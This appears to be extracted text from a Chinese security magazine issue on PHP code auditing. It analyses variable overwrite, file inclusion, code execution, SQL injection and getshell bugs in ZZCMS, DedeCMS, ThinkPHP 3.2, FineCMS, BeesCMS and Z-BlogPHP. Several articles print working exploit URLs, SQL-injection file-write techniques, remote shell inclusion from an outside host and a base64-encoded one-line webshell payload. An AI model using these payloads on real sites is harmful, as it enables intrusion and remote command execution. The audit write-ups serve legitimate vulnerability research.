    {"text": "关联数组就是 \"键名(key)\"=>\"值(value)\" PHP还有一种数组就是 \"索引数组\" 索引数组就是 \"wo\",\"shi\",\"Escape\" 在页面上就会输出 : 0=>wo 1=>shi 2=>escape 这就是PHP关联数组和索引数组的区别 大家懂了 我们就继续分析代码: 17 1 i春秋-夏刊-代码审计（第二期） 我前面说过了关联数组就是 \"键名(key)\"=>\"值(value)\" 从代码看这里便是关联数组 foreach你现在只要知道他是一个能获取并 且将你定义的数组输出在页面上 好 我们打开浏览器 看看结果: 看代码这一块 OK 我们可以看到这里echo $value; 再分析我前面说的:关联数组就是 \"键名(key)\"=>\"值(value)\" 说明我们现在输出的是数组的 值 我们在输出$key试试 ok,看结果 OK 相信到这里大家对foreach也有一定的理解了 继续分析漏洞 小三、可变变量的变量覆盖漏洞代码解说以及案例测试！ : 这代码是遍历获取cookie、post、get的信息 并且用addslashes过滤(我可能解释的不全面 有什么不懂的可以随时在下面提问我) 这漏洞的中心代码点就是$$_key = addslashes($_value); 这里 前面我们介绍foreach遍历输出获取数组值得时候就说了关联数组 就是 \"键名(key)\"=>\"值(value)\"看代码foreach (array('_COOKIE','_POST','_GET') as $_REQUEST) 这里便是先定义好全局 在把 值给$_REQUEST这个全局变量 在用循环获取前面的cookie、post、get的键和值 再echo $_key.'<br />'; 输出键名然后到这里 $$_key=addslashes($_value); 用addslashes转义$_value的数组值 addslashes转义这些字符: 单引号（'） 双引号（\"） 反斜杠（\\） NULL 在有就是我们的$b=3;这个变量 表面上看 是不是没什么漏洞？"},
    {"text": "好 我们打开代码页: 18 1 i春秋-夏刊-代码审计（第二期） 好像没什么不同寻常 我们试试url?b=666 试试 认真读文章的朋友 就发现 前面我们说的变量覆盖漏洞 好像也是url?x=b=123 这样的 对 就是这样 这就是可变变量的覆盖漏洞 原理其实就是:在代码中$$_key这里现在他有本体有了cookie、post、get的信息 然后在url提交?b=1 其实就相当于执行了GET请求赋 值 从而将原有的变量值给覆盖修改了 小四、案例测试代码以及答案: 为了让大家时刻牢记、理解漏洞原理 以及发现此类漏洞 我搭建了一个文件上传可变变量覆盖漏洞 让自己动手做 答案在下方回复可 见: 测试代码: 做测试的要求如下: 一、这里限制了gif等图片后缀 你只要用可变变量的变量覆盖的方法将变量覆盖修改成可以上传gif图片格式的即可 二、不可用文件上传的绕过后缀的方法测试 三、做完的朋友 我会送丰富的魔法币奖励哦 四、认真思考前面我所说的知识 不懂可以在下面留言提问 五、不要轻易放弃 细心一点就可以发现答案了! 答案:在URL处?type=image/gif 回车重新上传gif文件即可 6、变量覆盖、文件上传修复方法 变量覆盖漏洞 即是人为漏洞还有程序bug 修复1/验证变量名是否重复 修复2/注意$_GET/$_POST/$_COOKIE/$_REQUEST使用前一定要验证变量是否存在 文件上传漏洞 也是人为和程序过滤不严导致的 修复1/严格的过滤后缀名 常用的马儿后缀名全部过滤 修复2/禁止向输出文件名 修复3/用md5加密文件名 加上时间日期等 修复4/开启挂马监视器 实时监控 1 点此返回目录 19 1 i春秋-夏刊-代码审计（第二期） 常见WEB漏洞代码层原理分析及利用方式之Php代码执行篇 作者:SaFeBuG 00x01 Php代码执行有很多种函数与利用方式，但是目前常见的还是以下几种函数。"},
    {"text": "eval(),assert(),preg_replace(),call_user_func(),array_map()等等函数 1.eval(),assert函数 这两个函数原本的作用就是用来执行动态执行代码，所以他们的参数直接就是php代码 测试代码： 请求/Php.php?arg=phpinfo();结果如下 当然assert也是一样的 测试代码如下 无非就是把eval替换为assert罢了. 访问/Php.php?arg=phpinfo();效果如下，图就不上了，效果一样的"},
    {"text": "论坛半月刊二（1） 1.php 请求/test.php?mod=1执行结果如下： 本地文件包含有多种利用方式，比如上传一个允许上传问文件格式的文件再包含起来执行代码，包含php上传的临时文件，在请求URL或 者ua里加入要执行的代码，WebServer记录到日志后再包含WebServer的日志，还有像Linux下可以包含/proc/self/environ文件。"},
    {"text": "论坛半月刊二（1） 1.2 远程文件包含 远程文件包含是指可以包含远程文件的包含漏洞，需要设置allow_url_include=On,PHP5.2之后这个选项的可修改范围是PHP_INI_ALL。"},
    {"text": "PHP文件包含利用： （1）读取敏感文件 （2）远程包含shell 如果目标主机allow_url_fopen=On，就可以尝试包含一句话木马，如：http://www.vps.com/sw1t0.txt ,如下代码将会在包含 文件所在的目录下生成shell.php，内容后一句话木马. （3）本地包含配合文件上传：原理同上，在已经上传一句话图片木马的服务器的情况下，通过本地包含漏洞包含这张图片，访问 url后将会在所在目录下生成shell.php （4）使用PHP封装协议（先提一下，实战遇到后详细分析） （5）包含Apache日志文件：找到Apache路径，利用包含漏洞包含Apache日志文件也可以获取Webshell Apache运行后一般默认会生成两个日志文件，分别是access.log和error.log。 当访问一个不存在的资源时，Apache日志同样会 记录，这意味着如果网站存在本地包含漏洞，却没有可以包含的文件时，就可以去访问 URL：http://www.xxx.com/<?php phpinfo();? >。 Apache会记录请求\"<?php phpinfo();? >\",并写到access.log文件中，这时再去 包含Apache的日志文件，就可以利用包含漏洞了。 在提交请求时，PHP代码中的“<、>、 空格”会被浏览器转码，这时无法正常利 用Apache包含漏洞，可以通过BurpSuite来绕过编码。 （6）截断包含：1.jpg%00 (这种情况只适用于magic_quotes_gpc=Off时，如果为On,%00(NULL)将会被转义) 挖掘文件包含漏洞可以先跟踪一下程序运行流程，看看里面模块加载时包含的文件是否可控，白盒审计就是直接搜索四个文件包 含函数：include()、include_once()、require()、require_once()来回溯看看有没有可控的变量（它们之间的区别在于： include()和include_once()在包含文件时即使遇到错误，下面的代码依然会继续执行；"},
    {"text": "2 文件读取（下载）漏洞 Web程序在下载文件或者读取显示文件的时候，读取文件的参数filename直接在请求里面传递，后台程序获取到这个文件路径后直 接读取返回，如果这个参数是用户可控的，可以直接传入想要读取的文件路径即可利用。 文件读取漏洞案例： 如很早之前发现的某师范大学的教务管理系统，在学生个人信息页面处每个学生的证件照都对应一个图片地址，图片名称直接以 学生的学号命名，更改学号即可访问读取其他任何学生的证件照片。 这样就会导致只要登录一个学生的教务管理系统（很多学生没 有修改默认密码，可利用爆破获取访问权限），就可凭借学号读取其他任何学生的照片（可能还存在其他同样的隐私信息泄漏问题） 更严重的是，其实获取了文件地址后，并不需要先登录学生的教务系统获取cookie或者相应权限后 才能访问这些url，没有任何凭证即可直接通过输入正确的url地址就可访问到这些照片文件。"},
    {"text": "文件读取的漏洞挖掘相对较容易，黑盒直接去看功能点对应的文件，更改传入读取的文件名参数再 去读文件，如果可以成功访问，则证明漏洞存在。 白盒审计就是去搜索文件读取的函数，观察有没 有可以直接或者间接控制的变量，文件读取函数列表如下： file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets() parse_ini_file()、show_source()、file()，除了正常的读取文件函数之外，另外一些其他功能的 函数也可以用来读取文件，比如文件包含函数include，可以利用PHP输入输出流php://filter/来 读取文件。 3 文件上传漏洞 如果能把文件上传到管理员或者应用程序不想让你上传的目录，那就存在文件上传漏洞（注意这里 并不是一定非要上传一个WebSever可以解析的代码文件到可以解析的目录）。 文件上传漏洞的利用基本涉及到绕过，截断等不同的方式实现突破上传，根据实际遇到的具体漏洞情况补充和更新不同的利用方式。 挖掘经验：目前大多Web应用程序都是基于框架来写，上传点都是调用的同一个上传类，上传函数又只有move_uploaded_file()一 个，所以在白盒审计的时候最快的方法就是直接去搜索这个函数，再去看调用这个函数上传文件的代码是否存在未限制上传文件格 式或者可以绕过等问题。 4 文件删除漏洞 它的漏洞原理跟文件读取漏洞是差不多的，不过是利用函数不一样而已。 这里就只简单提一下，常出现这个漏洞的函数是 unlink()，老版本下session_destroy()函数也可以删除文件，早已修复。"},
    {"text": "点此返回目录 28 i春秋-夏刊-代码审计（第二期） 代码审计| 适合练手的ZZCMS8.2漏洞 作者:yanzm 0x00 背景 本周，分析了下zzcms8.2的源码，发现了蛮多问题的，觉得这个源码适合萌新们练手或入坑PHP的代码审计，发出一些我发现的问题， 当然这个源码还有很多问题，本篇仅对部分漏洞进行分析，至于如何GetShell我会在下周分享出我的方法。"},
    {"text": "0x01 审计过程 XSS相关问题 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \\zzcms\\zzcms8.2\\install\\step_6.php 漏洞类型：反射型XSS 站点地址：http://www.zzcms.net/ 0x01 漏洞分析 在\\zzcms\\zzcms8.2\\install\\step_6.php中的第10-11行中得到如下代码块。"},
    {"text": "因为\\zzcms\\zzcms8.2\\install\\index.php文件的第8-9行中使用了注册变量的操作。 且在\\zzcms\\zzcms8.2\\install\\index.php文件的第123行中包含了\\zzcms\\zzcms8.2\\install\\step_6.php文件。"},
    {"text": "29 i春秋-夏刊-代码审计（第二期） 1x00 相关环境 源码信息：ZZCMS 8.2 问题文件：\\zzcms\\zzcms8.2\\zx\\show.php 漏洞类型：存储型XSS漏洞 站点地址：http://www.zzcms.net/ 1x01 漏洞分析 首先分析输入位置： 在\\zzcms\\zzcms8.2\\user\\zxsave.php文件中的第51-57行中的如下代码块中将留言的内容插入到数据库中。"},
    {"text": "在\\zzcms\\zzcms8.2\\user\\zxsave.php文件的第3行中包含了/inc/conn.php文件。 然后在\\zzcms\\zzcms8.2\\inc\\conn.php文件中包含了/inc/stopsqlin.php文件。 在\\zzcms\\zzcms8.2\\inc\\stopsqlin.php文件中的第6-13行，对传入的数据的字符进行了实体化和转义处理。"},
    {"text": "然后分析输出位置： 在\\zzcms\\zzcms8.2\\zx\\show.php文件中的第36-40行中从数据库中取出数据，然后对content列做stripfxg处理。 跟入stripfxg方法，在\\zzcms\\zzcms8.2\\inc\\function.php文件的第577行发现该方法，分析该方法知道是对传入的数据进行实体 化和转义的还原操作，因此content列的数据经过该方法的处理后，便还原为原本的字符串。"},
    {"text": "最后在155-181行中的代码是调用showcontent和Payjf等方法，将数据输出到页面上，但是也没有对一些危险字符进行安全处理， 所以此处存在存储型XSS。"},
    {"text": "SQL注入问题： 0x00 相关环境 源码信息：ZZCMS 8.2 问题文件： \\zzcms\\zzcms8.2\\inc\\function.php 漏洞类型：SQL注入漏洞 站点地址：http://www.zzcms.net/ 0x01 漏洞分析 在\\zzcms\\zzcms8.2\\user\\check.php文件的第19行中，在执行SQL语句的时候使用了getip方法获取登录IP然后拼接到SQL中。 跟入getip方法，在\\zzcms\\zzcms8.2\\inc\\function.php文件中的第100行发现代码块，通过分析该方法，发现并没有对传入的IP进行合 规判断，又将方法的结果返回到调用的位置，所以此处存在SQL注入，经过分析发现有多处使用了getip方法与数据进行拼接，所以还有 许多漏洞等待挖掘。"},
    {"text": "31 i春秋-夏刊-代码审计（第二期） 0x02 小结 本篇列举了ZZCMS8.25版本的 XSS与SQL注入的问题，大家如果有发现其他方法好玩的洞也欢迎与我一同聊聊 点此返回目录 32 i春秋-夏刊-代码审计（第二期） 代码审计之织梦最新版后台代码注入 作者:Mochazz 一、payload如下： 二、效果图： 三、具体分析： 首先，程序最开始部分有一个 CSRF 检测函数 csrf_check() ，该函数位于 dede/config.php文件中，可以看到改文件仅仅只是判 断是否设置了 $token 以及 $_SESSION['token'] 是否与 $token 相等。 然而在初始状态下，$_SESSION['token'] 的值为空，所以 我们就可传入 $token为空，来绕过该 CSRF 检测，即 http://localhost/dede/tag_test_action.php?token=。 (下面是 csrf_check() 函数，可以添加调试语句，查看初始状态下 $_SESSION['token'] 的值) 继续看 dede/tag_test_action.php 文件，初始状态下 $partcode 为空，这个变量又是我们可以控制的，先记下，等下要用到。"},
    {"text": "继续往下看，可以看到 $typeid 变量的值为0，所以进入27行代码 else $pv = new PartView(); 我们继续跟踪 PartView() 。 33 i春秋-夏刊-代码审计（第二期） PartView() 类位于 include/arc.partview.class.php 文件第22行( 在进行代码审计的时候，可以借助linux的grep命令辅助，参数 R表示递归查找，参数i表示不区分大小写，参数n表示显示第几行 ) 在PartView() 类的构造函数中，又实例化一个 DedeTagParse 对象（如上图），该类用于定义dede标签格式，可以在 include/dedetag.class.php 文件第93行处找到。 回到 dede/tag_test_action.php 文件，看到程序调用了 PartView 类的 SetTemplet 方法，跟进该方法 进入改方法后，会进入第一个if语句，并调用 DedeTagPages 类的 LoadSource 方法，继续跟进 LoadSource 方法。 3. 然后执行我们的数据库更新的操作： 可以看到（下图）， LoadSource 方法先将我们 $str 写入一个inc文件，然后又调用 LoadTemplate方法，这里的$str就是我们传入 的$partcode 。 34 i春秋-夏刊-代码审计（第二期） LoadTemplate 先调用 SetDefault 方法做了一些初始化操作，接着进入else语句，循环读取刚刚写入文件的内容，存在 SourceString 中，然后调用 LoadCache 方法，跟进 LoadCache 方法。 LoadCache 返回false之后，就直接进入else语句，调用 ParseTemplet 方法，继续跟进。 发现实例化一个 DedeAttributeParse 对象， 该对象为dede的属性解析器，此时仅初始化了一些属性，暂时不跟进，继续看ParseTemplet 方法 35 i春秋-夏刊-代码审计（第二期） for循环代码太长，这里用省略号替代，主要的功能是遍历字符串模板，提取数据，然后调用 SaveCache 方法写入文件中，如下图： 下面有要回到 dede/tag_test_action.php 文件，执行最后一句 $pv->Display(); ，即调用 PartView 类的 Display 方法，发现该方 法又调用了DedeTagParse 类的 Display 方法，继续跟进。 DedeTagParse 类的 Display 方法调用了 GetResult 方法，跟进 调用了 AssignSysTag 方法 36 i春秋-夏刊-代码审计（第二期） 在 AssignSysTag 方法中 $CTag 为 DedeTag 实例化对象，这里的 $CTag->TagName 就是 $partcode 中dede:后面的那一小串单词， 这里没有写else处理语句，所以我们只要不填写 global、include、foreach、var 可以不进入if、else if语句，直接来到下面的 if( $CTag->GetAtt('runphp') == 'yes' ) ，跟进 GetAtt 方法(注意这里是 DedeTag 类的 GetAtt 方法，不是 DedeAttribute 类的 GetAtt 方法) 使用 var_dump() 来查看 $this->Items 数据类型，可以发现 $partcode 里面的name='source' runphp='yes' 会以数组键值对的 形式存储在 $this->Items ，中，所以我们这里构造partcode={dede:mochazz name='source' runphp='yes'}，这样我们就进入了 AssignSysTag 方法中的 $this->RunPHP($CTag, $i) 语句 37 i春秋-夏刊-代码审计（第二期） 在 RunPHP 方法中，$phpcode 在经过正则匹配后会被 eval 函数执行，而$phpcode变量是从 DedeTag->GetInnerText() 方法获取 的，我们跟进 GetInnerText 方法。 其实这里的 $this->InnerText ，在前面的 LoadCache 方法中以及 DedeTag 类初始化中，可以找到定义。"},
    {"text": "点此返回目录 38 i春秋-夏刊-代码审计（第二期） 代码审计之dedecms最新后台两处getshell 作者:Mochazz 一、payload如下： 第一处getshell ：http://localhost/dede/sys_verifies.php?action=getfiles&refiles[]=\\\";phpinfo();// 第二处getshell ：http://localhost/dede/stepselect_main.php?action=addenum_save&ename=233&issign=1&egroup=;phpinfo();$ 二、效果图： 第一处getshell ： 第二处getshell ： 三、具体分析： 第一处getshell ： 漏洞发生在 /dede/sys_verifies.php 文件中，当 $action 为 getfiles 时，程序会将数组 $refiles 的所有内容，写到 /dede/modifytmp.inc 文件中。"},
    {"text": "39 i春秋-夏刊-代码审计（第二期） 在该 else if 语句的尾巴处包含了/dede/templets/sys_verifies_getfiles.htm 文件（这里要注意一下 $doneStr 的内容） 可以看到程序又请求了 /dede/sys_verifies.php 文件，且 $action 为 down 。"},
    {"text": "（我们注入的是refiles[]=\\\";phpinfo();） 点此返回目录 40 i春秋-夏刊-代码审计（第二期） 第二处getshell ： 这一处漏洞入口在 stepselect_main.php 文件中。"},
    {"text": "我们进入到 $action='addenum_save' 添加枚举类的处理语句中，$ename 和 $egroup 都是我们可以控制的，而且程序在运行时，会先判断 dede_sys_enum 表中是否存在 egroup= $egroup 的记录，如果不存在， 则用 INSERT 语句将我们传入的$ename 和 $egroup 插入数据库，然后执行 WriteEnumsCache 函数。"},
    {"text": "点此返回目录 41 i春秋-夏刊-代码审计（第二期） Thinkphp框架 3.2.x sql注入漏洞分析 作者:F0rmat 0x01 前言 Thinkphp 3.2.x用的也挺多的，以前的程序大部分都是用这边版本的，如果移动到5版本又挺麻烦，而且小程序不说，大程序就复杂很多了。"},
    {"text": "0x02 环境搭建和漏洞复现 PHPstudy：Apache+php7.1+MySQL 工具：PHPstorm 1. 首先建立一个数据库名为：thinkphp 2. 建立一个表名为：user 3. 添加两个字段：name,pass 4. thinkphp3.2版本和之前的5版本略有不同，它的数据库信息文件是在这个文件： thinkphp/ThinkPHP/Conf/convention.php 在这里面填上我 们刚才建立的数据库信息: 5. 打开thinkphp的调试模式： 在刚才的文件： thinkphp/ThinkPHP/Conf/convention.php 然后修改为true： 'SHOW_ERROR_MSG' => true, // 显示错误信息 6. 这个3.2版本的控制器位置又是和5版本有点区别。"},
    {"text": "文件位置： thinkphp/Application/Home/Controller/IndexController.class.php 在里面写一个简单的update的例子： I函数和5版本的input助手函数差不多，具体可以看： http://document.thinkphp.cn/manual_3_2.html#input_var 因为我们仅仅执行基本的CURD操作，所以用M方法来实例化数据库对象就行了。"},
    {"text": "实例化模型可以看： http://document.thinkphp.cn/manual_3_2.html#model_instance 7. 那么现在就开始执行我们的Payload： http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0) 42 i春秋-夏刊-代码审计（第二期） 0x03 漏洞分析 1. 这里也是用phpstorm+debug进行动态分析，配置方法在我上一篇的5版本注入文章里面也写过了，如有不懂可以去查阅。"},
    {"text": "然后访问我们payload，它会跳到入口文件，我们只要分析的是I函数执行的地方，所以我们直接F8跳到执行I函数地方 2. F7跟进，它会跳到文件： thinkphp/ThinkPHP/Common/functions.php 这里。"},
    {"text": "判断传入的值是用什么方式： 接下来就是对我们传入的值进行过滤： 3. 然后执行我们的数据库更新的操作： 43 i春秋-夏刊-代码审计（第二期） 我们F7继续跟下去，有些影响不大的函数可以直接F8跳过去，到 save 函数： 执行到 update 函数我们F7跟进去： 4. 我们继续往下，F7进入 parseSet 函数，可以看到赋值了一个占位符0给 pass ，代替我们的密码 111111。"},
    {"text": "我们再往下面的 parseWhereItem 函数进行分析，这里写到, $exp=$val[0] 也就是我们传入的 bind。 $exp = strtolower($val[0]) 这里判断如果我们传入的数组[0]为 bind 就进行拼接： 44 i春秋-夏刊-代码审计（第二期） 6. 从拼接这里也能看出我们为什么要把第二个数组构造的时候填0，因为是要对应上面 parseSet 函数，赋值了一个占位符为0,用来代替上面 的密码 111111 ,而接下来就没有这种赋值操作了，所以我们如果填其他值得话执行SQL语句的时候就会报错，到后面我会点出在哪里的。 7. 我们继续，F7进去执行预处理语句的地方： 我们可以看到这里用到了 bindValue ，绑定一个值到一个参数，也就是把 111111 密码绑定到:0这里 。"},
    {"text": "8. 继续跟下来，到SQL语句执行报错的地方，可以很清楚看到直接了我们的报错语句 updatexml 的值： 我们再往 error 函数跟，可以看到替换掉占位符的语句： 45 i春秋-夏刊-代码审计（第二期） 9. 如果我们把0换成1会是怎么样的结果呢？"},
    {"text": "http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=1 and updatexml(2,concat(0x7e,user()),0) 我们把断点直接断在SQL执行的地方： F7进去然后F8直接走，走到执行报错的地方，我们就会看到如果为1的话那SQL就无法执行下去了。"},
    {"text": "46 i春秋-夏刊-代码审计（第二期） 代码审计| FineCMS 漏洞挖掘 作者:yanzm 0x00 背景 最近在挖掘FineCMS源码的漏洞，发现了一些有趣的洞，笔者计划先从配置文件写入开始分析，然后再结合存储XSS进行GetShell，本篇先分析 配置文件写入的问题，下周再分析存储XSS的问题，最终通过这两类洞的组合利用GetShell，大体思路流程很简单，但是代码分析中有蛮多技 巧，期待与师傅们的交流讨论。 0x01 漏洞审计 1x00 相关环境 源码信息：FineCMS v5.3.0 bulid 20180206 问题文件： \\finecms\\finecms\\system\\core\\Input.php 漏洞类型：配置文件写入问题 站点地址：http://www.finecms.net/ 1x01 漏洞分析 在\\finecms\\finecms\\dayrui\\controllers\\Install.php文件中的第127-131行发现如下代码块。"},
    {"text": "跟入post方法,在\\finecms\\finecms\\system\\core\\Input.php文件中的第255行中发现发 post方法的代码块。 跟入_fetch_from_array方法，在\\finecms\\finecms\\system\\core\\Input.php文件中的第177-230行中发现该方法的代码块，代码主要对传入的 数组进行简单的数据判断，代码较多这里列出重要的代码，当$xss_clean为TRUE的时候会进行xss_clean操作。 通过追溯$xss_clean变量，发 现是从\\finecms\\finecms\\dayrui\\config\\config.php配置文件中的$config['global_xss_filtering']获取的，但是默认情况下该变量的值为 FALSE，不会进行任何的XSS过滤。 47 i春秋-夏刊-代码审计（第二期） 但是当$config['global_xss_filtering']为TRUE会进入\\finecms\\finecms\\system\\core\\Security.php的xss_clean方法进行XSS过滤，但是不 进行单引号的转义，但是还过滤了PHP的标签和一些关键函数，由于还过滤了尖括号所以标签没想到绕过方法，但是可以使用类似 system/*()*/('whoami')的方式绕过关键字的过滤规则进行代码执行。"},
    {"text": "1x02 漏洞复现 在进行安装的时候，如果$config['global_xss_filtering']开启了,即TRUE，可构造如下请求可以执行PHP代码导致GetShell。 如果$config['global_xss_filtering']未开启即为FALSE，进行如下请求可以GetShell。"},
    {"text": "48 i春秋-夏刊-代码审计（第二期） 成功写入文件并生成evil.php，访问evil.php成功GetShell： 2x00 相关环境 源码信息：FineCMS v5.3.0 bulid 20180206 问题文件： \\finecms\\finecms\\dayrui\\libraries\\Dconfig.php 漏洞类型：配置文件写入问题 站点地址：http://www.finecms.net/ 2x01 漏洞分析 在文件\\finecms\\finecms\\dayrui\\controllers\\admin\\Site.php的第46-67行中发现如下代码块，使用post接收data的数据，然后在检测域名是否被 使用，未被使用将更新数据库中fn_site表中的domain的字段。 跟入$this->site_model->cache(),在\\finecms\\finecms\\dayrui\\models\\Site_model.php文件中的第323-368行中，发现cache()方法，重点看第 325行和338行。"},
    {"text": "点此返回目录 49 i春秋-夏刊-代码审计（第二期） 【代码审计初探】beescms v4.0_R SQL 作者:0h1in9e 0x01 前言 前段时间去尝试审计一款cms系统，恰巧在补天上看到有Beescms相关漏洞，于是去官网下载了个学着审计了下。"},
    {"text": "漏洞标题： BeesCMS最新版_V4.0_R_20160525 SQL注射(突破全局防护) 0x03 后台登录处验证码设计缺陷漏洞 首先是后台登录页面 /admin/login.php验证码形同虚设，一次验证后在不刷新的情况下可以多次提交请求。"},
    {"text": "比如下面使用burpsuit intruder进行SQL Fuzzing： 0x04 分析登录处的SQL注入 在admin/login.php中，登录处的核心代码是： 定位到函数fl_value 和 函数 fl_html : （都位于/includes/fun.php下面） 50 i春秋-夏刊-代码审计（第二期） 同时，登录SQL执行代码在fun.php中，如下： 可以知道字段数为5，下面通过构造语句： 可以看到返回了正常页面：（check_login可知SQL是先执行username查询之后再验证密码的，所以如下输入结果正常） 知道了这个注入规则之后，就有各种各样的注入方法了，下面我使用了一种可以直接拿到管理员账号密码的： 如：(本地环境测试的) 注入如下语句： 目的是在网站根目录下新建a.php文件，可以记录表 bees_admin里面的信息在a.php里面（由于函数hl_html的过滤导致不能直接上传 php木马）。"},
    {"text": "效果图如下： 此时，网站根目录下面已经产生了a.php这个文件了，如下所示： a.php里面前面的部分为bees_admin表里面的admin所对应的内容，后面的1~5则是为了补全select语法在payload里面写的内容。"},
    {"text": "0x05 修复建议及总结 fl_value函数的正则验证需要加强~虽然fl_value函数挡住了寻常注入语句，但是由于过滤不严导致Bypass掉全局的sql注入防护。"},
    {"text": "点此返回目录 52 i春秋-夏刊-代码审计（第二期） 代码审计|对Beescms SQL注入漏洞的进一步思考 作者ohlinge 0x01 前言 在上一篇中，详细的介绍到了SQL注入产生的条件和原因，而对利用方法的思考还是有局限性，没有达到效果。"},
    {"text": "0x02 Mysql注入的一个特性 上篇分析到，由于函数fl_html()的影响，其实就是php函数htmlspecialchars()，导致不能写shell到目标机器。 其实这里利用Mysql注入的一个特 性就可以达到注入的效果。 即对shell部分进行Hex编码，或者用mysql函数char()就可以轻松绕过这里的限制。 方法一 hex编码 我们写入shell的语句是： 对shell部分进行hex编码为，这里我们采用Python简单编码： 写入shell的payload为： 记得在编码转换的时候前面加0x或者直接用函数unhex亦可。 然后通过Burpsuit修改数据包写入，如图所示： 本地查看写入的文件如图： 可以看到在爆出密码的同时写入了webshell，下面我们尝试用菜刀链接,成功拿到webshell： 53 i春秋-夏刊-代码审计（第二期） 方法二 使用char函数 Mysql内置函数char()可以将里边的ascii码参数转换为字符串，同样是上面编写的webshell转换成ascii的形式，这里我们用Python实现快速转 换： 然后我们的注入语句就可以写作： 同样我们看看执行后的结果是成功写入了webshell： 本地加入的a.php文件内容： 成功拿到webshell 0x03 绝对路径问题 正如@zusheng 师傅在上篇的评论，前面的测试均是在本地测试的，有个问题就是本地文件绝对路径我们是知道的，但是远程情况下，我们不知 道网站绝对路径。"},
    {"text": "比如还是写shell的语句，不知道路径的情况下随便写一个不存在的路径也可以达到效果，如下图： 54 i春秋-夏刊-代码审计（第二期） 方法很多，多多尝试总会有新发现的！"},
    {"text": "0x04 对单引号问题的思考 上篇中有评论到单引号的问题，就是说既然htmlspecialchars函数过滤掉了单引号，那么注入语句中的单引号是怎么引入的？ 针对这个问题， 我查阅了一些资料，也在本地测试此函数，得出了一个结果，就是在默认情况下，函数只解析双引号,如图： 那既然这样的话，代码中这样写的话htmlspecialchars(str)，都存在单引号引入的问题。 我们看看Beescms里边的写法，定位到函数 fl_html : （位于/includes/fun.php下面） 可以看到的确是这样写的，证明了单引号引入的问题。"},
    {"text": "而且要懂得变通，就像在本篇中的mysql注入的利用技巧，单引号注入问题都很常见，但是如果我们了解 不够深刻的话，还是很难成功地审计一款系统的。"},
    {"text": "希望对你有所收获 55 i春秋-夏刊-代码审计（第二期） 代码审计| Z-BlogPHP_1_5_1_Zero GetShell漏洞分析 作者：yanzm 0x00 背景 看了Hiwin师傅发的《Z-Blog两处Getshell分析(附EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章，我也分析了下GetShell的 方法，漏洞的利用和Hiwin师傅的不大一样https://xz.aliyun.com/t/2277，欢迎讨论交流。 0x01 GetShell漏洞的分析 0x00 相关环境 源码信息：Z-BlogPHP_1_5_1_Zero 问题文件：\\zb_users\\plugin\\AppCentre\\plugin_edit.php 漏洞类型：文件写入导致代码执行 站点地址：https://www.zblogcn.com/ 0x01 漏洞分析 在文件\\zb_users\\plugin\\AppCentre\\plugin_edit.php的第47行-68行中发现如下代码块，仔细分析该代码块可以知道，两处的 file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。"},
    {"text": "首先是在第57-61行中，先读取tpl/main.html文件中的内容，然后将<%appid%>替换为$app->id的值，然后通过POST请求得到要写入的文件路径 名称，再进行file_put_contents操作。"},
    {"text": "56 i春秋-夏刊-代码审计（第二期） 因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码，这样就可以将PHP代码写入到目标文件中了。"},
    {"text": "接下来要查看下zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置， 然后根据代码情况写入PHP代码。 zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。 zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置。 首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点，且两处的闭合规则是不一致的 ，所以可以使用?>的方式闭合前一个位置，这样后面的内容包括后一个位置都是作为普通文本了。"},
    {"text": "看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处，其中第1,2处与其余3处的闭合方式是不同的。"},
    {"text": "且如果 不定义RegisterPlugin 这个方法就会报错，但是定义了这个方法，因为写入位置有4处，其中三处都会定义这个方法，又提示 Cannot redeclare RegisterPlugin()，因此在不引入?>或/*的情况下实在想不出构造的方法。"},
    {"text": "0x02 漏洞复现 构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod: balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?> 因为\\zb_users\\plugin\\AppCentre\\plugin_edit.php文件中的60行中存在目录跳转的漏洞。"},
    {"text": "所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件，进行如下请求写入恶意代码，然后进行替换 zb_users/plugin/Totoro/main.php文件。 当管理员访问 评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。"},
    {"text": "手动连接一句话便可以执行命令http://192.168.112.136/zb_users/ ... sert&cmd=system(%27ls%27) 58 1 i春秋-夏刊-代码审计（第二期） 构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod： 进行如下请求便会将代码写入到include.php文件中 然后访问http://192.168.112.136/zb_users/ ... 9%3F%3E/include.php需要对文件名进行url编码。"},
    {"text": "http://192.168.112.136/zb_users/ ... sert&cmd=system('ifconfig') 以上这两种利用方式都需要与csrf结合，而Hiwin师傅利用的方式是与csrf，XSS进行利用从而GetShell。 详细内容参见https://xz.aliyun.com/t/2277 0x02 小结 本篇以z-blog源码进行审计和漏洞分析，其中windows下的GetShell方法暂时没整出来，windows限制太多了(师傅们如果有好思路期待一起讨论)，但 是Linux是可以与CSRF漏洞结合利用，便可以成功GetShell，本篇的一些利用方式与Hiwin师傅的不大一样，膜一波Hiwin师傅的思路，很棒的;-) 期待 师傅们一起交流讨论，但是如果是hc请走开勿扰，交流学习可联系我 点此返回目录 60 i春秋-夏刊-代码审计（第二期） ZZCMS 8.2 任意文件删除导致GetShel 作者:yanzm 0x00 背景 本周，将zzcms8.2的源码的GetShell方法与大家一同分享，在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手，所以分享下从一 些容易发现的漏洞一步步到GetShell的过程，如果大家还有其他思路欢迎一同讨论，期待与师傅们的交流。 0x01 审计过程 文件删除问题： 0x00 相关环境 源码信息：ZZCMS 8.2 